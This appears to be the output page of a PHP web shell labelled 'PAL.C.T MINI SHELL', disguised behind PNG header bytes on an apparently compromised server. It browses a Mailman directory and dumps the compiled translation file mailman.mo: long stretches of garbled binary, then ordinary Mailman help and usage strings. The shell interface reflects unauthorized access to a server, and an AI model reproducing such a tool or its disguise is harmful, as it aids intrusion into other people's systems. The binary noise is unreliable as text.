php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/mailman/messages/gl/LC_MESSAGES/
upload
files >> //usr/lib/mailman/messages/gl/LC_MESSAGES/mailman.mo

D&lL.mLZNwN+oO;OVO'.PVRT	\SN\_`ea
cc"c92cRldeefUffgh_<jkjl(m!m!m$n4nFn&]n%n!nn&noo+o<oUoshooop%p=pZWpZp
qq(q9qSq`bqq&qrRr5grr:psssssswsdttt&t<tuu-u3#vWvrv#v8v3v*wAw(\w!w&w,w.w3*x^xzx(x,xxCx@y&Yy=y/y!y'z$8z,]z4zPz%{76{,n{={!{*{&&|%M|&s|J||+}-~I@~K~n~E
	

!@,9m Ȁ 7"(Z+߁a$%)ւ/RJobT1rW?W|fԉr;8$,*W6%*P(*)S%}0Ս*1\H	L#fVؑВhha!685:p4%՘ 
b+*OF	P6X.Κݚ'	1>G`f)
%Ȝ7P&.wfž)IZwX0_	ǤˤҤ$>BMA,ҧ.3.b~#ߨ*) J`yé۩)2#VqȪ_x%%'ޫU\$e(S.T@9
۰C`>²ղ'/+?[4г9*EXg#=
-*8c-0޼RSQu5RMk!9XJi~%. ".JPVjnw}"3+Lx5

'0*8c=l)oDQ=C{)/3)O$y8
@N!h#0 52E,x#
;
OZ3;A'%M1j#5YvC]n~7>M'a$1x:&$0
%;9aF210G	xx6m2.b,x"#$<?T#Q(7M!(6_6fq(04<EINRW^!t(RWl
!%)Zg			0		U	ZR
Y
Xa`3K'
EPjqy
/352S$%`y

Ubf"uD(m !		!
0?#Lp
06-<j;8
0Hcpu1D0d
!4&/V<q##A_w:%b;	S	(%((8(
)) )9))

***%*+++_#++A++++,:,K,*k,,,,,,-	 -
*-	5-?-(X-----/5/0!0'011/17$2\2c2
33)-3W3n333,3 3837.49f68,:G:;[:)::':,:;1;M;`;v;;;%;;	;!<&<;< >89>r>>>tC	CCC\CEE%E,E4ETE[EJE6FHH-"H+PH|HH<K#WK{KK<K$K	LLL"!L	DLNLUL(jL;L<L M:-M%hMMZXP0P1P)Q!@QbQQQ	QQQQQrKT"UuUgWW)WW_XgXrNY;Y3Y"1ZWT[[J\O\G])]J^Me^^u_`aKaKb7Rb|b/c[7c&c&cczcbdvdddd"ddeeeeee	ee)f;fZfqf}ffffffg0gFg_gggg&p"pPq=`q[qNqwIrr
s:s\ty*xz-z3z6{7R{{|6|}*}%,ہLyƂƒa؄;:vvnk!ڇ01-O_rY"|45E'{70ۍP	Z6Yΐ"([K@[V6*I|/-
$*|!qn(	+G7a(-µ,1OgyS4$(R&"5A<Vk	"3N&i-h !0!Gi.#$96=0,02cu6(08	i,sTX5_-v#Gb0Qg#1t.(55^5422;8*tp%!$	.GJ-=1,.h,/G' ;\/'Lt3$3X&~pK.!
K	3&

.<P%627iH##(LkCPP.cV:V	`:!;Rm#/%!Ga{g6$8[  "!3U s,

'4Ez/{$  	    !!!,!5!G!	T! ^!!! !!!!!""""
?"J"R"
e"	s"}"""."""""""##'#48#,m###$##.#$$+,$X$)h$$8$8$%)%@%_%f%u%*{%%"%x%{V'|)O*0*8+eP++A./_/:P=L?T@A
ABIB\CDD	EhFqFG
HFIAK)LL!M*M#MMN1 N.RN,N!N.N!N !O BO.cO$OjO1"P"TP!wP-P2PqPqlQQQQR$R9RR$RSZ1S5SSCTTTTTUU&UUU.UAVXV &W>GW=WWW:WE-X>sX0X'XFY%RY4xY?Y7Y:%Z `ZZ)Z(ZZcZc[2[L[<\5>\+t\)\:\8]`>](]<]A^PG^>^O^,'_&T_-{_J__P`eaZ~aYa~3bb`cuccc
ccc
c'cEc!<d#^d:d;dDd)>ehe|ee2e2efw"f5f-ff8ggLgLhi_i.ijNjkYnj!ooA)p$kpp6ppxqFq,qq)s4+s/`s$ss4s+
t6tVt	ttav.xi?xkx
y zzq{{'}}9H/+x"׀@yjf%	=3Ԃ$#5Y)t

҃&τ:
O.][7,:Rg4$!FA2H{Ӎ%#-)Q<{Ў@^$b]+Dp)r(.œ&87T !!ϔ&(<OGPԕ4%+ZE:̖($0*Ul;T)Y~;ؘf
{)B7*Oz]7Q$v?̟Tw7*ڠ+#:5CpXT
>b:!ܢ('.P`73D.x.$֬iSe& dz
/*Ž, 9$Z&1ƾ&7-S!C4/H*_$nv}"-7O ^!	5	$Y.9Ruk|Xr8!!@JC6(
',(:%@`2 E@Z,	'
"A+m1~ F8(4a[$( %:AJN@R\
&A^2:J2c"$&/ZF/5%;0a<,GDD@LO;d{3P9;(=d8";I=%)s3wD+&:R+09 -hN(5/e(=Vr#08N""'#J7ndd*\[zH-	#--$

"#
;F
>
3
6
A,n4v/wlt'APqf?:Rj#j-Z21	*+/-7e},*4A:_#*8|Q+*%)Eo:*,)
V'a4,"S$b(&0/68o%Z-2:	/!
*&**J+O+c+j+A8,z,,,,F,--
.f.x.M.'..7/M/j/"{/?///,0<0U0*n000
00K0--1'[11=1$3E3)E4o4u45563+6F_666
z77T778	+8-581c8#8D88~;>#??F?3@	Q@1[@3@@@@
A!"A*DAoA=AA
A2AB *B:KDgDDE%E 2J	SJ]J{J~JL,L4L=L4FL{LLW!MyM-O?OAZO/OOO\R.S7S
PS`[S.SSSS+T8TDT!LT[nTCTVU7eU5U5UN	VrXY@Y<ZBIZ0Z'ZZZZ[[&[2[S	^5]``ob8b-czcKddNaeIe eg3gmht=ii<~jaj]k{k{bllmVnV,oOoo3mpp+>q/jqqq'Xrrrr!r-rssssss
t
t%'t8Mt"ttttt'u).uXusu.uuuuvvD	v5-YEUhg^ƁoWvcڄ$&4+[./z1Q%Z;$̑Wl
ēҔ]ҕB0s{R-<(egkhԛl<;S,<2,\=p6s05sڢNh-DP%Qc.hn|.
4@EU6NZ!|`,8oso%	#
=HEd
AGKFEG"P(s1 /
=<)f:u)(!%A4U(<9<*BgV'=
+-1Y8-*M=x%-
0CE&
l5wl,C;\dD,$f:
;#]_(1GZ7n+52=-YGO*$+%GC5+_+$d&K% 1C u!1",6"c":#IN#!#B#r#p$%*&&	(*,.#11&11-4K4-E5s5]5,5064L6#66G6W7k\77XM89^::;0R<"<<Y<+=I=e=&j===)==P=7L>>>>$>>?
?~)?*?D?+@)D@-n@*@,@6@-+A+YA;AAAAAAA B%B!AB8cB?BBBBC%#C"IC(lCECC(DDD'D'DE(E1/EaEhEEEBEE/F78F,pFFF FFFF
FGG*G	;G
EGPGXG3aGGGGG+GGG&
H1HGKH.HH	H%HH4IKIQI1jII)IIJIG3J,{JJ9JKKK=!K&_K$K

NOTE NOTE NOTE NOTE NOTE

    You are upgrading an existing Mailman installation, but I can't tell what
    version you were previously running.

    If you are upgrading from Mailman 1.0b9 or earlier you will need to
    manually update your mailing lists.  For each mailing list you need to
    copy the file templates/options.html lists/<listname>/options.html.

    However, if you have edited this file via the Web interface, you will have
    to merge your changes into this file, otherwise you will lose your
    changes.

NOTE NOTE NOTE NOTE NOTE


    echo [args]
        Simply echo an acknowledgement.  Args are echoed back unchanged.

    end
        Stop processing commands.  Use this if your mail program automatically
        adds a signature file.

    help
        Print this help message.

    info
        Get information about this mailing list.

    lists
        See a list of the public mailing lists on this GNU Mailman server.

    password [<oldpassword> <newpassword>] [address=<address>]
        Retrieve or change your password.  With no arguments, this returns
        your current password.  With arguments <oldpassword> and <newpassword>
        you can change your password.

        If you're posting from an address other than your membership address,
        specify your membership address with `address=<address>' (no brackets
        around the email address, and no quotes!).  Note that in this case the
        response is always sent to the subscribed address.

    set ...
        Set or view your membership options.

        Use `set help' (without the quotes) to get a more detailed list of the
        options you can change.

        Use `set show' (without the quotes) to view your current option
        settings.

    set help
        Show this detailed help.

    set show [address=<address>]
        View your current option settings.  If you're posting from an address
        other than your membership address, specify your membership address
        with `address=<address>' (no brackets around the email address, and no
        quotes!).

    set authenticate <password> [address=<address>]
        To set any of your options, you must include this command first, along
        with your membership password.  If you're posting from an address
        other than your membership address, specify your membership address
        with `address=<address>' (no brackets around the email address, and no
        quotes!).

    set ack on
    set ack off
        When the `ack' option is turned on, you will receive an
        acknowledgement message whenever you post a message to the list.

    set digest plain
    set digest mime
    set digest off
        When the `digest' option is turned off, you will receive postings
        immediately when they are posted.  Use `set digest plain' if instead
        you want to receive postings bundled into a plain text digest
        (i.e. RFC 1153 digest).  Use `set digest mime' if instead you want to
        receive postings bundled together into a MIME digest.

    set delivery on
    set delivery off
        Turn delivery on or off.  This does not unsubscribe you, but instead
        tells Mailman not to deliver messages to you for now.  This is useful
        if you're going on vacation.  Be sure to use `set delivery on' when
        you return from vacation!

    set myposts on
    set myposts off
        Use `set myposts off' to not receive copies of messages you post to
        the list.  This has no effect if you're receiving digests.

    set hide on
    set hide off
        Use `set hide on' to conceal your email address when people request
        the membership list.

    set duplicates on
    set duplicates off
        Use `set duplicates off' if you want Mailman to not send you messages
        if your address is explicitly mentioned in the To: or Cc: fields of
        the message.  This can reduce the number of duplicate postings you
        will receive.

    set reminders on
    set reminders off
        Use `set reminders off' if you want to disable the monthly password
        reminder for this mailing list.

    subscribe [password] [digest|nodigest] [address=<address>]
        Subscribe to this mailing list.  Your password must be given to
        unsubscribe or change your options, but if you omit the password, one
        will be generated for you.  You may be periodically reminded of your
        password.

        The next argument may be either: `nodigest' or `digest' (no quotes!).
        If you wish to subscribe an address other than the address you sent
        this request from, you may specify `address=<address>' (no brackets
        around the email address, and no quotes!)

    unsubscribe [password] [address=<address>]
        Unsubscribe from the mailing list.  If given, your password must match
        your current password.  If omitted, a confirmation email will be sent
        to the unsubscribing address. If you wish to unsubscribe an address
        other than the address you sent this request from, you may specify
        `address=<address>' (no brackets around the email address, and no
        quotes!)

    who password
        See everyone who is on this mailing list.  The roster is limited to
        list administrators and moderators only; you must supply the list
        admin or moderator password to retrieve the roster.

%(listname)s has both public and private mbox archives.  Since this list
currently uses private archiving, I'm installing the private mbox archive
-- %(o_pri_mbox_file)s -- as the active archive, and renaming
        %(o_pub_mbox_file)s
to
        %(o_pub_mbox_file)s.preb6

You can integrate that into the archives if you want by using the 'arch'
script.

- Done.


- Ignored:
- Unprocessed:
Check a given Mailman translation, making sure that variables and
tags referenced in translation are the same variables and tags in
the original templates and catalog.

Usage:

cd $MAILMAN_DIR
%(program)s [-q] <lang>

Where <lang> is your country code (e.g. 'it' for Italy) and -q is
to ask for a brief summary.

ERROR:

The locks for some lists could not be acquired.  This means that either
Mailman was still active when you upgraded, or there were stale locks in the
%(lockdir)s directory.

You must put Mailman into a quiescent state and remove all stale locks, then
re-run "make update" manually.  See the INSTALL and UPGRADE files for details.

Pending posts:
To finish removing your mailing list, you must edit your /etc/aliases (or
equivalent) file by removing the following lines, and possibly running the
`newaliases' program:

## %(listname)s mailing list
Usage:
You are subscribed to this list with the case-preserved address
<em>%(cpuser)s</em>.            You have successfully canceled the posting of your message with
            the Subject: header <em>%(subject)s</em> to the mailing list
            %(listname)s.            You have successfully changed your address on the %(listname)s
            mailing list from <b>%(oldaddr)s</b> to <b>%(newaddr)s</b>.  You
            can now <a href="%(optionsurl)s">proceed to your membership
            login page</a>.            You have successfully confirmed your subscription request for
            "%(addr)s" to the %(listname)s mailing list.  A separate
            confirmation message will be sent to your email address, along
            with your password, and other useful information and links.

            <p>You can now
            <a href="%(optionsurl)s">proceed to your membership login
            page</a>.            You have successfully confirmed your subscription request to the
            mailing list %(listname)s, however final approval is required from
            the list moderator before you will be subscribed.  Your request
            has been forwarded to the list moderator, and you will be notified
            of the moderator's decision.            You have successfully re-enabled your membership in the
            %(listname)s mailing list.  You can now <a
            href="%(optionsurl)s">visit your member options page</a>.
                        You have successfully unsubscribed from the %(listname)s mailing
            list.  You can now <a href="%(listinfourl)s">visit the list's main
            information page</a>.            You were not invited to this mailing list.  The invitation has
            been discarded, and both list administrators have been
            alerted.     Description: %(description)s     Requests to: %(requestaddr)s    %(status)s (%(how)s on %(date)s)    ack %(onoff)s    address not found:    checking gid and mode for %(path)s    checking permissions on: %(path)s    checking set-gid for %(path)s    clone address added:    clone address is already a member:    digest mime    digest off    digest plain    duplicates %(onoff)s    hide %(onoff)s    looks like you have a really recent CVS installation...
    you're either one brave soul, or you already ran me    myposts %(onoff)s    new list owners:    original address removed:    reminders %(onoff)s    scanning list owners:    unknown file in the way, moving
        %(o_pri_mbox_file)s
    to
        %(newname)s    unknown file in the way, moving
        %(o_pub_mbox_file)s
    to
        %(newname)s   %(file)s: okay  Thread %(size)i bytes  (%(count)d of %(total)d) (Digest mode) (but we obscure the addresses so they are not
                easily recognizable by spammers). (requires authorization) (requires confirmation)<br>&nbsp;<br> <p>Enter your  If you leave the field blank, you will be prompted for
        your email address The last bounce received from you was dated %(date)s To visit the general information page for an unadvertised list,
        open a URL similar to this one, but with a '/' and the %(adj)s
        list name appended.
        <p>List administrators, you can visit  and password to visit  the subscribers list: <p><center>  at  bytes from %(remote)s is already a member subscribers:  to find the management interface for your list.
         <p>If you are having trouble using the lists, please contact ## %(listname)s mailing list#%(counter)05d %(msgid)s%%%%(addr)s is banned (matched: %(patt)s)%(address)s is not a member of the %(listname)s mailing list%(address)s was invited to a different mailing
list, but in a deliberate malicious attempt they tried to confirm the
invitation to your list.  We just thought you'd like to know.  No further
action by you is required.%(allcnt)s members total%(allcnt)s members total, %(membercnt)s shown%(count)d %(realname)s moderator request(s) waiting%(day)i %(month)s %(year)i%(days)d %(units)s%(dbdir)s "other" perms must be 000%(dbfile)s owned by %(owner)s (must be owned by %(user)s%(file)s permissions must be 066x (got %(octmode)s)%(host)s mailing list memberships reminder%(hostname)s Mailing Lists%(hostname)s mailing lists - Admin Links%(i)3d. List name:   %(realname)s%(listfullname)s mailing list reminder%(listinfo_link)s list run by %(owner_link)s%(listname)s %(msg)s not found as %(filename)s%(listname)s post from %(sender)s requires approval%(messages)d messages found%(month)s %(year)i%(name)s runs the %(runnername)s qrunner%(newaddr)s is already a member of the list.%(ord)s quarter %(year)i%(path)s bad group (has: %(groupname)s, expected %(MAILMAN_GROUP)s)%(path)s must be set-gid%(private)s must not be other-readable%(pwfile)s permissions must be exactly 0640 (got %(octmode)s)%(realname)s -- Edit html for %(template_info)s%(realname)s -- HTML Page Editing%(realname)s Administration (%(label)s)%(realname)s Administrative Database%(realname)s Administrative Database Results%(realname)s Digest, Vol %(volume)d, Issue %(issue)d%(realname)s Mailing list Configuration Help
    <br><em>%(varname)s</em> Option%(realname)s administrative interface%(realname)s list: member options for user %(safeuser)s%(realname)s list: member options login page%(realname)s mailing list administration<br>%(label)s Section%(realname)s post acknowledgement%(realname)s roster authentication failed.%(realname)s subscription notification%(realname)s unsubscribe notification%(safetemplatename)s: Invalid template%(wday)s %(mon)s %(day)2i %(hh)02i:%(mm)02i:%(ss)02i %(tzname)s %(year)04i%(wrapper)s must be set-gid%s has both public and private mbox archives.  Since this list
currently uses public archiving, I'm installing the public mbox file
archive file (%s) as the active one, and renaming
        %s
    to
        %s.preb6

You can integrate that into the archives if you want by using the 'arch'
script.
&lt;blank line&gt;(<i>%(which)s is only available to the list
                members.</i>)(<i>%(which)s is only available to the list
            administrator.</i>)(Administrivia filter) Check postings and intercept ones
             that seem to be administrative requests?(Note - you are subscribing to a list of mailing lists, so the %(type)s notice will be sent to the admin address for your membership, %(addr)s.)<p>(as owner)(fixing)(help)(locked)(no change)(no subject)(unlocked)- Results:- This list looks like it might have <= b4 list templates around- both %(o_tmpl)s and %(n_tmpl)s exist, leaving untouched- moved %(o_tmpl)s to %(n_tmpl)s- nothing to update here- updating old private mbox file- updating old public mbox file- usenet watermarks updated and gate_watermarks removed-------------- next part --------------
--all requires --run...after this one....before this one....or specify a file to upload:; it was disabled by the list administrator; it was disabled by you; it was disabled due to excessive bounces.  The
            last bounce was received on %(date)s; it was disabled for unknown reasons<P>Currently, there are no archives. </P><b><i>either</i></b> <b>Cancel</b> and return to list administration<b>Invalid confirmation string:</b>
    %(safecookie)s.

    <p>Note that confirmation strings expire approximately
    %(days)s days after the initial subscription request.  If your
    confirmation has expired, please try to re-submit your subscription.
    Otherwise, <a href="%(confirmurl)s">re-enter</a> your confirmation
    string.<b>ack</b> -- Does the member get acknowledgements of their
        posts?<b>digest</b> -- Does the member get messages in digests?
        (otherwise, individual messages)<b>hide</b> -- Is the member's address concealed on
        the list of subscribers?<b>language</b> -- Language preferred by the user<b>mod</b> -- The user's personal moderation flag.  If this is
        set, postings from them will be moderated, otherwise they will be
        approved.<b>nodupes</b> -- Does the member want to avoid duplicates of the
        same message?<b>nomail</b> -- Is delivery to the member disabled?  If so, an
        abbreviation will be given describing the reason for the disabled
        delivery:
            <ul><li><b>U</b> -- Delivery was disabled by the user via their
                    personal options page.
                <li><b>A</b> -- Delivery was disabled by the list
                    administrators.
                <li><b>B</b> -- Delivery was disabled by the system due to
                    excessive bouncing from the member's address.
                <li><b>?</b> -- The reason for disabled delivery isn't known.
                    This is the case for all memberships which were disabled
                    in older versions of Mailman.
            </ul><b>not metoo</b> -- Does the member want to avoid copies of their
        own postings?<b>plain</b> -- If getting digests, does the member get plain
        text digests?  (otherwise, MIME)<b>real_name</b> attribute not
            changed!  It must differ from the list's name by case
            only.<b>unsub</b> -- Click on this to unsubscribe the member.<br>(Details for <b>%(varname)s</b>)<br>(Edit <b>%(varname)s</b>)<br><em>...specify a file to upload</em><br><br><em><strong>Note:</strong>
        setting this value performs an immediate action but does not modify
        permanent state.</em><br>Return to the <em>(%(num_concealed)d private members not shown)</em><em>(1 private member not shown)</em><em><strong>Warning:</strong> changing this option here
    could cause other screens to be out-of-sync.  Be sure to reload any other
    pages that are displaying this option for this mailing list.  You can also
    <em>Enter the text below, or...</em><br><em>Message with id #%(id)d is corrupted.<em>Message with id #%(id)d was lost.<em>No topics defined</em><em>Not available</em><em>The sender is now a member of this list</em><em>Yes, I really want to unsubscribe</em><em>not available</em><li>Set everyone's moderation bit, including
            those members not currently visible<missing><p>%(note)s

            <p>You may have disabled list delivery intentionally,
            or it may have been triggered by bounces from your email
            address.  In either case, to re-enable delivery, change the
            %(link)s option below.  Contact %(mailto)s if you have any
            questions or need assistance.<p>(Note that this is an umbrella list, intended to
            have only other mailing lists as members.  Among other things,
            this means that your confirmation request will be sent to the
            `%(sfx)s' account for your address.)<p>(Send questions and comments to <p>... <b><i>or</i></b> select your entry from
                      the subscribers list (see above).<p><em>To view more members, click on the appropriate
        range listed below:</em><p>Below is a listing of all the public mailing lists on
            %(hostname)s.  Click on a list name to get more information about
            the list, or to subscribe, unsubscribe, and change the preferences
            on your subscription.<p>Below is the collection of publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.  Click on a list
            name to visit the configuration pages for that list.<p>There currently are no publicly-advertised
            %(mailmanlink)s mailing lists on %(hostname)s.<p>There currently are no publicly-advertised %(mailmanlink)s
            mailing lists on %(hostname)s.<p>We have received some recent bounces from your
            address.  Your current <em>bounce score</em> is %(score)s out of a
            maximum of %(total)s.  Please double check that your subscribed
            address is correct and that there are no problems with delivery to
            this address.  Your bounce score will be automatically reset if
            the problems are corrected soon.<tt>Reply-To:</tt> header munging<ul><li><b>Hold</b> -- this holds the message for approval
             by the list moderators.

             <p><li><b>Reject</b> -- this automatically rejects the message by
             sending a bounce notice to the post's author.  The text of the
             bounce notice can be <a
             href="?VARHELP=privacy/sender/member_moderation_notice"
             >configured by you</a>.

             <p><li><b>Discard</b> -- this simply discards the message, with
             no notice sent to the post's author.
             </ul>?AA confirmation message has been sent to %(newaddr)s. A digest has been sent.A list name is requiredA reminder of your password has been emailed to you.A terse phrase identifying this list.AcceptAcceptsAcknowledge the member's postingAction to take for postings from non-members for which no
             explicit action is defined.Action to take on all these held messages:Action to take when a message matches the content filtering
             rules.Action to take when a moderated member posts to the
             list.Action:Add <b>%(esender)s</b> to one of these sender filters:Add a non-fuzzy translation to the dictionary.Add new item...Added  : %(s)sAdditional Member TasksAdditional settingsAdditionally, forward this message to: Address/nameAddress:Addresses did not match!Addresses in this list are banned outright from subscribing
             to this mailing list, with no further moderation required.  Add
             addresses one per line; start the line with a ^ character to
             designate a regular expression match.Addresses may not be blankAdmin address:Administrative requests for mailing list:AdministratorAdministrator passwords did not matchAdministrivia tests will check postings to see whether it's
             really meant as an administrative request (like subscribe,
             unsubscribe, etc), and will add it to the the administrative
             requests queue, notifying the administrator of the new request,
             in the process.Advertise this list when people ask what lists are on this
             machine?After content filtering, the message was emptyAgain to confirm password: Alias names (regexps) which qualify as explicit to or cc
             destination names for this list.All runs all the above qrunnersAlready a memberAlready a member: %(member)sAlso delete archives?Alternate addresses that are acceptable when
             `require_explicit_destination' is enabled.  This option takes a
             list of regular expressions, one per line, which is matched
             against every recipient address in the message.  The matching is
             performed with Python's re.match() function, meaning they are
             anchored to the start of the string.
             
             <p>For backwards compatibility with Mailman 1.1, if the regexp
             does not contain an `@', then the pattern is matched against just
             the local part of the recipient address.  If that match fails, or
             if the pattern does contain an `@', then the pattern is matched
             against the entire recipient address.
             
             <p>Matching against the local part is deprecated; in a future
             release, the pattern will always be matched against the entire
             recipient address.AlwaysAn HTML attachment was scrubbed...
URL: %(url)s
An introductory description - a few paragraphs - about the
             list.  It will be included, as html, at the top of the listinfo
             page.  Carriage returns will end a paragraph - see the details
             for more info.AnyoneApproveAprAprilArchive messages?Archiving OptionsAs neededAugAugustAuthentication failed.Authorization failed.Auto-discard notificationAuto-generate initial list password?Auto-responderAuto-responder characteristics.<p>

In the text fields below, string interpolation is performed with
the following key/value substitutions:
<p><ul>
    <li><b>listname</b> - <em>gets the name of the mailing list</em>
    <li><b>listurl</b> - <em>gets the list's listinfo URL</em>
    <li><b>requestemail</b> - <em>gets the list's -request address</em>
    <li><b>owneremail</b> - <em>gets the list's -owner address</em>
</ul>

<p>For each text field, you can either enter the text directly into the text
box, or you can specify a file on your local system to upload as the text.Auto-response for your message to the "%(realname)s" mailing listAuto-response text to send to -owner emails.Auto-response text to send to -request emails.Auto-response text to send to mailing list posters.Awaiting moderator approvalBBad --digest option: %(kind)sBad --nomail option: %(why)sBad MIME type ignored: %(spectype)sBad URL specificationBad argument to -a/--admin-notify: %(arg)sBad argument to -w/--welcome-msg: %(arg)sBad argument: %(arg)sBad arguments: %(pargs)sBad arguments: %(strargs)sBad choice: %(yesno)sBad command: %(command)sBad confirmation stringBad digest specifier: %(arg)sBad email address for option %(k)s: %(v)sBad email address for option %(property)s: %(val)sBad email address providedBad moderation flag valueBad owner email address: %(s)sBad queue directory: %(qdir)sBad regular expression: Bad set command: %(subcmd)sBad status number: %(arg)sBad value for <a href="?VARHELP=bounce/%(property)s"
                >%(property)s</a>: %(val)sBad/Invalid email addressBad/Invalid email address: %(member)sBad/Invalid email address: blank lineBadly formed options entry:
 %(record)sBan <b>%(esender)s</b> from ever subscribing to this
                    mailing listBan listBanned address (matched %(pattern)s)Batched-delivery digest characteristics.Below, enter additional text to be added to the
    top of your invitation or the subscription notification.  Include at least
    one blank line at the end...Blind carbon copies or other implicit destinations are
not allowed.  Try reposting your message by explicitly including the list
address in the To: or Cc: fields.Bounce action notificationBounce detection sensitivityBounce processingBy clicking on the <em>Remind</em> button, your
    password will be emailed to you.By clicking on the <em>Unsubscribe</em> button, a
    confirmation message will be emailed to you.  This message will have a
    link that you should click on to complete the removal process (you can
    also confirm by email; see the instructions in the confirmation
    message).By default, should new list member postings be moderated?By setting this value to <em>No</em>, you disable all
             automatic bounce processing for this list, however bounce
             messages will still be discarded so that the list administrator
             isn't inundated with them.By setting this value to <em>No</em>, you turn off
             notification messages that are normally sent to the list owners
             when a member's delivery is disabled due to excessive bounces.
             An attempt to notify the member will always be made.CGI script errorCan list members choose to receive list traffic bunched in digests?Can subscribers choose to receive mail immediately, rather
             than in batched digests?Can't have empty html page.CancelCancel and discardCancel my subscription requestCancel postingCannot open mbox file %(mbox)s: %(msg)sCannot read address file: %(filename)s: %(msg)sCannot read both digest and normal members from standard input.Cannot unshunt message %(filebase)s, skipping:
%(e)sCannot unsubscribe non-members:Ceiling on acceptable number of recipients for a posting.Change My Address and NameChange My PasswordChange addressChange list ownership passwordsChange of address request confirmedCheck a list's config database file for integrity.

All of the following files are checked:

    config.pck
    config.pck.last
    config.db
    config.db.last
    config.safety

It's okay if any of these are missing.  config.pck and config.pck.last are
pickled versions of the config database file for 2.1a3 and beyond.  config.db
and config.db.last are used in all earlier versions, and these are Python
marshals.  config.safety is a pickle written by 2.1a3 and beyond when the
primary config.pck file could not be read.

Usage: %(PROGRAM)s [options] [listname [listname ...]]

Options:

    --all / -a
        Check the databases for all lists.  Otherwise only the lists named on
        the command line are checked.

    --verbose / -v
        Verbose output.  The state of every tested file is printed.
        Otherwise only corrupt files are displayed.

    --help / -h
        Print this text and exit.
Clean up an .mbox archive file.

The archiver looks for Unix-From lines separating messages in an mbox archive
file.  For compatibility, it specifically looks for lines that start with
"From " -- i.e. the letters capital-F, lowercase-r, o, m, space, ignoring
everything else on the line.

Normally, any lines that start "From " in the body of a message should be
escaped such that a > character is actually the first on a line.  It is
possible though that body lines are not actually escaped.  This script
attempts to fix these by doing a stricter test of the Unix-From lines.  Any
lines that start "From " but do not pass this stricter test are escaped with a
> character.

Usage: cleanarch [options] < inputfile > outputfile
Options:
    -s n
    --status=n
        Print a # character every n lines processed

    -q / --quiet
        Don't print changed line information to standard error.

    -n / --dry-run
        Don't actually output anything.

    -h / --help
        Print this message and exit
Clear FormClear this member's <em>moderate</em> flagClick here for the list of Click here to hide the legend for this table.Click here to include the legend for this table.Click here to reload this page.Click on a link to visit your options page for the
        requested mailing list.Click on the message number to view the individual
            message, or you can Clone a member address.

Cloning a member address means that a new member will be added who has all the
same options and passwords as the original member address.  Note that this
operation is fairly trusting of the user who runs it -- it does no
verification to the new address, it does not send out a welcome message, etc.

The existing member's subscription is usually not modified in any way.  If you
want to remove the old address, use the -r flag.  If you also want to change
any list admin addresses, use the -a flag.

Usage:
    clone_member [options] fromoldaddr tonewaddr

Where:

    --listname=listname
    -l listname
        Check and modify only the named mailing lists.  If -l is not given,
        then all mailing lists are scanned from the address.  Multiple -l
        options can be supplied.

    --remove
    -r
        Remove the old address from the mailing list after it's been cloned.

    --admin
    -a
        Scan the list admin addresses for the old address, and clone or change
        them too.

    --quiet
    -q
        Do the modifications quietly.

    --nomodify
    -n
        Print what would be done, but don't actually do it.  Inhibits the
        --quiet flag.

    --help
    -h
        Print this help message and exit.

 fromoldaddr (`from old address') is the old address of the user.  tonewaddr
 (`to new address') is the new address of the user.

Computing threaded index
Conceal the member's addressConfiguration CategoriesConfigure a list from a text file description.

Usage: config_list [options] listname

Options:
    --inputfile filename
    -i filename
        Configure the list by assigning each module-global variable in the
        file to an attribute on the list object, then saving the list.  The
        named file is loaded with execfile() and must be legal Python code.
        Any variable that isn't already an attribute of the list object is
        ignored (a warning message is printed).  See also the -c option.

        A special variable named `mlist' is put into the globals during the
        execfile, which is bound to the actual MailList object.  This lets you
        do all manner of bizarre thing to the list object, but BEWARE!  Using
        this can severely (and possibly irreparably) damage your mailing list!

    --outputfile filename
    -o filename
        Instead of configuring the list, print out a list's configuration
        variables in a format suitable for input using this script.  In this
        way, you can easily capture the configuration settings for a
        particular list and imprint those settings on another list.  filename
        is the file to output the settings to.  If filename is `-', standard
        out is used.

    --checkonly
    -c
        With this option, the modified list is not actually changed.  Only
        useful with -i.

    --verbose
    -v
        Print the name of each attribute as it is being changed.  Only useful
        with -i.

    --help
    -h
        Print this help message and exit.

The options -o and -i are mutually exclusive.

ConfirmConfirm (*) - email confirmation required <br>
                           Require approval - require list administrator
                           approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br> This prevents
                           mischievous (or malicious) people from creating
                           subscriptions for others without their consent.Confirm administrator password:Confirm and approveConfirm change of address requestConfirm initial password:Confirm moderator password:Confirm subscription requestConfirm unsubscription requestConfirmation from your email address is required, to prevent anyone from
subscribing you without permission.  Instructions are being sent to you at
%(email)s.  Please note your subscription will not start until you confirm
your subscription.Confirmation string was empty.Confirmation string:Confirmation succeededContent filtered message notificationContent&nbsp;filteringContinue awaiting approvalConvert a list's interpolation strings from %-strings to $-strings.

This script is intended to be run as a bin/withlist script, i.e.

% bin/withlist -l -r convert <mylist>
Could not open file for reading: %(filename)s.Could not open file for writing:Create ListCreate a %(hostname)s Mailing ListCreate another listCreating archive directory CzechDailyDatabase Updated...DecDecemberDefault language for this list.Default options for new members joining this list.<input
             type="hidden" name="new_member_options" value="ignore">DeferDeleteDelete this listDelete this mailing listDelivered by Mailman<br>version %(version)sDescriptionDescription:Description:  %(description)sDetailed instructions for the administrative databaseDigestDigest FooterDigest HeaderDigest members:Digest optionsDisabledDiscardDiscard all messages marked <em>Defer</em>DiscardsDispatch digests for lists w/pending messages and digest_send_periodic set.

Usage: %(PROGRAM)s [options]

Options:
    -h / --help
        Print this message and exit.

    -l listname
    --listname=listname
        Send the digest for the given list only, otherwise the digests for all
        lists are sent out.
Do not send a copy of a member's own postDowngrade detected, from version %(hexlversion)s to version %(hextversion)s
This is probably not safe.
Exiting.Dry run modeDump the contents of any Mailman `database' file.

Usage: %(PROGRAM)s [options] filename

Options:

    --marshal/-m
        Assume the file contains a Python marshal, overridding any automatic
        guessing.

    --pickle/-p
        Assume the file contains a Python pickle, overridding any automatic
        guessing.

    --noprint/-n
        Don't attempt to pretty print the object.  This is useful if there's
        some problem with the object and you just want to get an unpickled
